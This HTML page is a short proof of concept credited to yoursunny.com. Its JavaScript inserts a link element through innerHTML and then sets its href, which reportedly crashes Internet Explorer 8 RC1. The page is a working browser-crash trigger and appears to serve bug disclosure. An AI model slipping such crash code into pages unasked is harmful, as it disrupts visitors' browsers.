1 | <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" |
---|
2 | "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> |
---|
3 | <html xmlns="http://www.w3.org/1999/xhtml"> |
---|
4 | <head> |
---|
5 | <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> |
---|
6 | <title>5 lines of DOM2 JavaScript crash IE8rc1</title> |
---|
7 | </head><body> |
---|
8 | <script type="text/javascript">//<![CDATA[ |
---|
9 | //discovered by yoursunny.com |
---|
10 | //this is actually the 'core' of jQuery-IEcrash.htm |
---|
11 | var div=document.createElement('div'); |
---|
12 | div.innerHTML='div<div><link rel="stylesheet" type="text/css"/></div>'; |
---|
13 | div=div.lastChild; |
---|
14 | var link=div.childNodes[0]; |
---|
15 | link.setAttribute('href','http://css.cn.msn.com/c/green14.css'); |
---|
16 | //]]></script> |
---|
17 | </body></html> |
---|